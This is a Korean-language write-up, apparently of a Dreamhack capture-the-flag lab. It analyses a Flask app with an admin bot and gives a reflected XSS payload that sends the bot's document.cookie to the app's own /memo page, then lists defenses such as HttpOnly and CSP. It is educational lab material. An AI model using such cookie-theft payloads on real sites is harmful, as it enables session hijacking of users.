개념정리
○ XSS
크로스 사이트 스크립팅(Cross Site Scripting, XSS)은 공격자가 공격대상의 브라우저에서 스크립트가 실행되도록 유도하여 사용자의 세션을 가로채거나, 웹사이트를 변조 또는 악의적 콘텐츠등을 수행하는 것을 말한다. XSS를 근본적으로 제거하기 위해서는 태그 삽입이 되지 않도록 처음부터 원인을 제거하는 것이 중요하다.
○ XSS 종류
Stored XSS
: XSS에 사용되는 악성 스크립트가 서버에 저장되고 서버의 응답에 담겨오는 XSSReflected XSS
: XSS에 사용되는 악성 스크립트가 URL에 삽입되고 서버의 응답에 담겨오는 XSSDOM-based XSS
: XSS에 사용되는 악성 스크립트가 URL Fragment에 삽입되는 XSSUniversal XSS
: 클라이언트의 브라우저 혹은 브라우저의 플러그인에서 발생하는 취약점으로 SOP 정책을 우회하는 XSS
xss-1는 Reflected XSS
로 admin bot의 쿠키를 탈취하는 시나리오다.
실습해보자.
문제분석
3가지 페이지로 구성된다.
각 페이지를 분석해보자.
/vuln
에 접속하면, [그림]와 같이 alert(1)
이 작동한다. 이를 통해 param 파라미터로 xss가 가능하다는 것을 알려주고 있다.
/memo
에 접속하면 memo 파라미터로 전송한 값을 화면에 출력한다.
/flag
에 접속하면 localhost의 /vuln
페이지로 param 파라미터를 전송할 수 있는 구성이다.
자세히 기능을 분석하기 위해 코드 분석을 진행했다.
@app.route("/flag", methods=["GET", "POST"])
def flag():
if request.method == "GET":
return render_template("flag.html")
elif request.method == "POST":
param = request.form.get("param")
if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
return '<script>alert("wrong??");history.go(-1);</script>'
return '<script>alert("good");history.go(-1);</script>'
memo_text = ""
flag()
를 보면 check_xss()
를 실행한다.
이때, param
과 flag({"value":FLAG})
를 인자로 사용하는 것을 알 수 있다.
def check_xss(param, cookie={"name": "name", "value": "value"}):
url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
return read_url(url, cookie)
check_xss()
를 보면 127.0.0.1:8000
을 대상으로 flag가 포함된 쿠키를 read_url()
의 인자로 실행한다.
def read_url(url, cookie={"name": "name", "value": "value"}):
cookie.update({"domain": "127.0.0.1"})
try:
service = Service(executable_path="/chromedriver")
options = webdriver.ChromeOptions()
for _ in [
"headless",
"window-size=1920x1080",
"disable-gpu",
"no-sandbox",
"disable-dev-shm-usage",
]:
options.add_argument(_)
driver = webdriver.Chrome(service=service, options=options)
driver.implicitly_wait(3)
driver.set_page_load_timeout(3)
driver.get("http://127.0.0.1:8000/")
driver.add_cookie(cookie)
driver.get(url)
except Exception as e:
driver.quit()
# return str(e)
return False
driver.quit()
return True
cookie.update()
로 domain을127.0.0.1
로 설정한다.- chromedriver를 실행하고
127.0.0.1:8000
를 오픈한다. - 인자로 받은 쿠키를 chromedriver 쿠키에 추가한다.
127.0.0.1:8000/vuln?param=[입력값]
으로 쿠키와 함께 요청을 전송한다.
시나리오로 설명하면, chromedriver에 저장된 flag는 공격대상의 세션이고 XSS로 세션을 탈취한다고 생각하면된다.
flag를 얻는 것이 목표이므로 127.0.0.1:8000/vuln
를 이용해서 공격대상 클라이언트에서 악성 스크립트가 실행되도록 XSS payload를 전송해야한다.
○ 페이지 요약
/vuln
- param 파라미터에서 XSS 취약점 발생
/memo
- memo 파라미터로 페이지에 데이터 저장 가능
/flag
check_xss(url,cookie)
→read_url(url, cookie)
→ flag를 쿠키에 저장 →127.0.0.1:8000/vuln?param=[입력값]
를 공격 대상 봇이 요청
/memo
는 요청 시 파라미터를 통해서 특정 값을 저장할 수 있는 기능을 수행한다.
그렇다면, bot이 127.0.0.1:8000/memo?memo=[쿠키]
와 같이 요청하도록 XSS payload를 전송하면, /memo
에 쿠키에 담긴 flag가 저장될 것이다.
정리하면
/flag
를 통해 XSS 페이로드 전송- bot이
/vuln
을 통해 전송한 XSS 페이로드를 실행 /memo
에 bot의 cookie가 저장
위와 같은 순서로 공격이 가능하다.
문제풀이
쿠키를 탈취하기 위한 XSS payload를 작성해보자.
○ XSS payload
<script>location.href='http://127.0.0.1:8000/memo?memo='+document.cookie</script>
공겨 대상의 쿠키를 탈취하는 payload다.
vuln 페이지를 거쳐 memo 페이지에 document.cookie
가 저장될 것이다.
주의할 점은 코드에서 domain이 127.0.0.1
로 설정됐고 vuln 페이지와 통신할 때도 127.0.0.1:8000
과 통신하므로 memo와의 통신도 127.0.0.1:8000
로 해야한다.
전송해보자.
대응방안
○ 입력값 검증 및 길이 제한
whitelist 또는 blacklist로 방식으로 <script>
같은 스크립트 태그들에 대한 문자열 검증을 수행한다.
○ HTML Entity 사용
XSS가 발생하지않도록 HTML 태그들을 특수문자로 표현하도록 HTML Entity를 사용한다. HTML Entity를 사용하면, 공격자가 <script>
를 입력하더라도 출력은 <script>
로 되기 때문에 XSS가 발생하지않는다.
○ HttpOnly 플래그 설정
브라우저에서 쿠키에 접근할 수 없도록 HttpOnly
플래그를 설정한다. 만약, XSS가 발생하더라도 브라우저가 쿠키에 접근할 수 없기 때문에 공격자는 쿠키를 탈취할 수 없다.
○ 콘텐츠 보안 정책(CSP) 사용
CSP를 사용하면 외부 스크립트를 로드할 수 있는 지 여부 및 인라인 스크립트를 실행할지 여부와 같은 다양한 항목을 제어할 수 있다.
reference
[dreamhack] Cross-Site-Scripting (XSS)
https://hanuscrypto.tistory.com/entry/XSSCross-Site-Scripting-%EB%8C%80%EC%9D%91-%EB%B0%A9%EC%95%88
https://myungjjju.tistory.com/38